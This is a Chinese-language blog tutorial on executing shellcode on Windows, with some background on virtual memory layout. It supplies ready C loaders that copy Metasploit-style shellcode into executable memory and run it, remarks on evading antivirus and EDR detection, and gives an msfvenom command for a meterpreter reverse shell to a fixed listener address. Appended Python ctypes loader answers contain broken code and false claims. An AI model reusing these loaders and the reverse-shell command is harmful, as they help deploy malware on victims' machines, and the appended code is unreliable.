python 执行shellcode_执行shellcode的方法

前言

进程内存布局

需要理解的第一个概念是,整个虚拟内存空间分为两个相关部分:为用户进程保留的虚拟内存空间(用户空间)和为系统进程保留的虚拟内存空间(内核空间),如下所示

当处理器读写内存位置时,它使用一个虚拟地址。作为读写操作的一部分,处理器将虚拟地址转换为物理地址。通过虚拟地址访问内存具有这些优点:

程序可以使用一个连续的虚拟地址范围来访问物理内存中不相邻的大内存缓冲区

程序可以使用一定范围的虚拟地址来访问大于可用物理内存的内存缓冲区。随着物理内存供应的减少,内存管理器将物理内存页(通常为4 kb)保存到磁盘文件中。数据或代码页根据需要在物理内存和磁盘之间移动。

不同进程使用的虚拟地址相互隔离。 一个进程中的代码无法更改另一进程或操作系统正在使用的物理内存。

进程可用的虚拟地址范围称为该进程的虚拟地址空间。 每个用户模式进程都有其自己的专用虚拟地址空间。 对于32位进程,虚拟地址空间通常为2 GB范围0x00000000至0x7FFFFFFF。 对于64位Windows上的64位进程,虚拟地址空间为128 TB范围0x000’00000000到0x7FFF’FFFFFFFF。 虚拟地址范围有时称为虚拟内存范围。

该图显示了两个64位进程的虚拟地址空间:Notepad.exe和MyApp.exe。 每个进程都有自己的虚拟地址空间,该地址空间从0x000’0000000到0x7FF’FFFFFFFF。 每个阴影块代表一页(4 KB)的虚拟或物理内存。 请注意,记事本进程使用三个连续的虚拟地址页面,从0x7F7’93950000开始。 但是虚拟地址的这三个连续页面被映射到物理内存中的非连续页面。 还要注意,两个进程都使用从0x7F7’93950000开始的虚拟内存页面,但是这些虚拟页面被映射到物理内存的不同页面。

用户空间和系统空间

诸如Notepad.exe和MyApp.exe之类的进程在用户模式下运行。 核心操作系统组件和许多驱动程序以特权更高的内核模式运行。 有关处理器模式的更多信息,请参阅用户模式和内核模式。 每个用户模式进程都有其自己的专用虚拟地址空间,但是以内核模式运行的所有代码共享一个称为系统空间的虚拟地址空间。 用户模式进程的虚拟地址空间称为用户空间。在32位Windows中,总的可用虚拟地址空间为2 ^ 32字节(4 GB)。 通常,较低的2 GB用于用户空间,较高的2 GB用于系统空间。

在32位Windows中,您可以选择(在启动时)指定超过2 GB的用户空间可用。 结果是更少的虚拟地址可用于系统空间。 您可以将用户空间的大小增加到3 GB,在这种情况下,系统空间只能使用1 GB。 要增加用户空间的大小

在64位Windows中,虚拟地址空间的理论量为2 ^ 64字节(16艾字节),但实际上仅使用了16艾字节范围的一小部分。 从0x000’00000000到0x7FF’FFFFFFFF的8 TB范围用于用户空间,从0xFFFF0800’00000000到0xFFFFFFFF’FFFFFFFF的248 TB范围的部分用于系统空间。

在用户模式下运行的代码可以访问用户空间,但不能访问系统空间。 此限制可防止用户模式代码读取或更改受保护的操作系统数据结构。 以内核模式运行的代码可以访问用户空间和系统空间。 也就是说,以内核模式运行的代码可以访问系统空间和当前用户模式进程的虚拟地址空间。

在内核模式下运行的驱动程序在直接读取或写入用户空间中的地址时必须非常小心。 这种情况说明了原因。

1. 用户模式程序启动一个从设备读取一些数据的请求。 该程序提供缓冲区的起始地址以接收数据。

2. 在内核模式下运行的设备驱动程序例程开始读取操作,并将控制权返回给其调用者。

3. 稍后,设备中断当前正在运行的任何线程,以表示读取操作已完成。 中断由在此任意线程上运行的内核模式驱动程序例程处理,该线程属于任意进程。

4. 此时,驱动程序不得将数据写入用户模式程序在步骤1中提供的起始地址。该地址位于发起请求的进程的虚拟地址空间中,这很可能与请求的地址不同。 当前的过程。

分页池和非分页池

在用户空间中,可以根据需要将所有物理内存页面调出到磁盘文件中。 在系统空间中,可以将某些物理页面调出页面,而另一些则不能。 系统空间具有两个用于动态分配内存的区域:分页池和非分页池。

可以根据需要将分页池中分配的内存分页到磁盘文件中。 在未分页的池中分配的内存永远不能分页到磁盘文件中。

这样做的第一个收获是,每个进程都有自己的专用虚拟地址空间,其中“内核空间”是一种“共享环境”,这意味着每个内核进程都可以在其想要的任何地方读取/写入虚拟内存。 请注意,后者仅适用于没有基于虚拟化的安全性(VBS)的环境,但这是不同的主题。

上面的表示显示了全局虚拟地址空间的样子,让我们将其分解为单个进程

单个进程虚拟内存空间由多个部分组成,这些部分通过地址空间布局随机化(ASLR)放置在可用空间边界内的某个位置。 这些部分中的大多数应该是熟悉的,但是为了使所有人都在同一页面上,以下是这些部分的简要介绍

.TEXT(入口地址): 这是可执行进程映像所在的位置。在这个区域中,您将找到可执行文件的主入口,即执行流开始的地方

. DATA(映像基址):.DATA节包含全局初始化或静态变量。 未绑定到特定功能的任何变量都存储在此处。

.BSS(映像大小): 与. data段类似,此部分包含任何未初始化的全局变量或静态变量。

HEAP: 这是所有动态局部变量的存储位置。 每次创建在运行时确定所需空间的对象时,所需的地址空间都会在HEAP中动态分配(通常使用alloc()或类似的系统调用)。

STACK: 堆栈是分配给每个静态局部变量的位置。如果在函数中局部初始化一个变量,则该变量将被放置在堆栈上。

动态分配内存

运行shellcode的步骤:

您需要标记为可执行的虚拟地址空间(否则DEP会引发异常)

您需要将您的shellcode放入该地址空间

您需要将代码流定向到该内存区域

完成这三个步骤的教科书方法是使用WinAPI调用来动态分配可读,可写和可执行(RWX)内存,并启动指向新分配的内存区域的线程。 用C编写代码看起来像这样:

#include "stdafx.h"

#include

#include

using namespace std;

int main()

{

unsigned char shellcode[] =

"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"

"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"

"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"

"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"

"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"

"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"

"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"

"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"

"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"

"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"

"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"

"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"

"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"

"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"

"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"

"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"

"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"

"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"

"\x63\x2e\x65\x78\x65\x00";

//申请内存空间

LPVOID addressPointer = VirtualAlloc(NULL,sizeof(shellcode),0x3000,0x40);

//将您的shellcode放入该地址空间

RtlMoveMemory(addressPointer, shellcode, sizeof(shellcode));

//创建线程

CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)addressPointer, NULL, 0, 0);

Sleep(1000);

system("pause");

return 0;

}

使用windebug调试:

windbg:File->Open executtable打开exe

lm #查看加载的模块

g #运行

文章原图

注意:成熟的杀软/EDR系统很容易检测到WinAPI调用的使用

函数指针的执行

(在windows上并不行。。。)

在内存中执行shellcode的另一种技术是使用函数指针

#include "stdafx.h"

#include

using namespace std;

int main()

{

unsigned char shellcode[] =

"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"

"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"

"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"

"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"

"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"

"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"

"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"

"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"

"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"

"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"

"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"

"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"

"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"

"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"

"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"

"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff"

"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"

"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c"

"\x63\x2e\x65\x78\x65\x00";

int(*func)();

func = (int(*)()) (void*)shellcode; //创建了一个匿名指针函数(lamba)

(int)(*func)(); //运行匿名函数

// Shortcut way to do it

// (*(int(*)()) buf)();

// sleep for a second

Sleep(1000);

return 0;

}

运行过程:

在上述代码段中声明了一个指向函数的指针,该函数指针名为“ func”

然后,为已声明的函数指针分配要执行的代码的地址(由于将为变量分配一个值,因此为func指针分配一个地址)

最后,调用函数指针,这意味着将执行流定向到分配的地址

windbg调试

.TEXT段执行#include

int main() {

asm("call code\n\t"

".byte \n\t"

"code:\n\t"

"ret\n\t");

return 0;

}

msf生成32位的shellcode

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.110 LPORT=4444 -f raw -o test.bin

转换成shellcode

python makefile.py test.bin cnmb.c

编译

gcc -c cnmb.c -o cnmb.o

gcc -o cnmb.exe cnmb.o

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: 制作 Shellcode 加载器的方法有很多,这里介绍一种基于 Python 的实现方法。 首先,我们需要编写一个能够执行 shellcode 的程序。这个程序可以使用 C 语言编写,也可以使用其他语言编写。下面是一个简单的 C 语言程序,它会执行传入的 shellcode: ```c #include <stdio.h> #include <string.h> int main(int argc, char **argv) { char *shellcode = argv[1]; ((void (*)(void))shellcode)(); return 0; } ``` 编译这个程序: ``` gcc -o shellcode_loader shellcode_loader.c ``` 现在,我们可以使用 Python 来编写一个能够加载 shellcode 的脚本。这个脚本的基本思路是: 1. 将 shellcode 写入内存。 2. 调用 shellcode。 下面是 Python 代码: ```python import ctypes # shellcode shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80" # 将 shellcode 写入内存 memory = ctypes.create_string_buffer(shellcode) shellcode_address = ctypes.addressof(memory) # 调用 shellcode func = ctypes.CFUNCTYPE(None) func(shellcode_address) ``` 这个脚本使用 ctypes 库来实现将 shellcode 写入内存和调用 shellcode。首先,我们使用 create_string_buffer() 函数创建一个内存缓冲区,并将 shellcode 写入这个缓冲区。然后,我们使用 addressof() 函数获取缓冲区的内存地址,并将这个地址存储在 shellcode_address 变量中。最后,我们定义一个 CFUNCTYPE 类型的变量 func,并将其初始化为 None。CFUNCTYPE 类型表示一个 C 函数指针类型,它可以用来调用 C 函数。然后,我们可以通过 func(shellcode_address) 调用 shellcode。 需要注意的是,这个脚本必须以管理员权限运行,否则无法将 shellcode 写入内存。 以上就是基于 Pythonshellcode 加载器的实现方法。 ### 回答2: Python是一种高级编程语言,可用于编写各种各样的脚本和程序。当使用Python编写shellcode加载器时,需要了解以下几个关键概念和步骤。 首先,要理解shellcode是什么。Shellcode是一种计算机程序,通常用于利用漏洞或执行特定的操作。Shellcode通常是二进制代码,用于在目标系统上执行指定的操作。 接下来,我们需要了解加载器是如何工作的。加载器是一段代码,其目的是将shellcode注入到目标进程中,并执行它。加载器通常是以DLL文件的形式存在,然后通过各种技术将其注入到目标进程中。 在Python中,可以使用ctypes库来加载DLL并执行其中的函数。ctypes提供了一种在Python中调用动态链接库函数的简单方法。 下面是一个简单的示例程序,用Python编写的shellcode加载器: ``` import ctypes # 加载DLL shellcode_dll = ctypes.WinDLL("shellcode.dll") # 加载器函数 def shellcode_loader(shellcode): # 将shellcode注入到目标进程中 shellcode_dll.LoadShellcode(shellcode) # 调用加载器函数 shellcode = "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31" shellcode_loader(shellcode) ``` 在上面的示例中,我们首先使用ctypes库加载了一个名为shellcode_dll的DLL文件。然后定义了一个名为shellcode_loader的函数,该函数将接受一个shellcode作为参数,并调用shellcode_dll中的LoadShellcode函数来执行注入操作。最后,我们创建了一个包含实际shellcode的字符串,并将其传递给shellcode_loader函数进行加载。 需要注意的是,为了编写一个完整的shellcode加载器,可能还需要进一步的处理和代码,以适应不同的操作系统和处理器架构。此外,也需要适当的授权和合法用途来使用此代码。 ### 回答3: Python是一种高级编程语言,它的灵活性使得它成为编写加载器的理想工具。一个加载器的目的是将shellcode从内存中加载到计算机的进程空间,以便运行恶意代码。 使用Python编写一个shellcode加载器的过程如下: 1. 导入所需的模块:首先,在代码的开头,我们需要导入所需的模块。对于shellcode加载器,我们需要使用`ctypes`模块来与C语言进行交互。该模块能够加载动态链接库(DLL)和执行其中的函数。 2. 定义shellcode:在代码的下一部分,我们需要定义要加载的shellcode。这可以是由其他工具生成的二进制代码,也可以是手动编写的shellcode。将shellcode保存在一个字符串变量中。 3. 创建内存空间:我们需要为shellcode分配一块内存空间,以便它能够在其中运行。使用`ctypes`模块的`create_string_buffer`函数来创建这块内存空间。通过设置空间的大小来确保能够容纳整个shellcode。 4. 将shellcode复制到内存中:使用Python的`ctypes`库的`memcpy`函数将shellcode复制到之前分配的内存空间中。 5. 将内存设置为可执行:为了使操作系统将这块内存视为可执行代码,我们需要在内存空间上设置相应的标志。使用`ctypes`库的`VirtualProtect`函数可以实现这一点。 6. 执行shellcode:最后,我们需要通过函数指针调用shellcode的入口点,以便开始执行恶意代码。使用`ctypes`库的`CFUNCTYPE`函数创建一个C函数指针,然后使用这个指针来调用shellcode。 编写完成后,可以将代码保存为一个Python脚本,并在命令行中运行它。此时,shellcode将被加载到内存中,并开始执行。 需要注意的是,编写和使用shellcode加载器涉及到一些复杂的概念,如内存管理和计算机安全。在实践中,请确保对代码的运行环境和目标平台有透彻的理解,并遵循适当的法律和道德规范。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值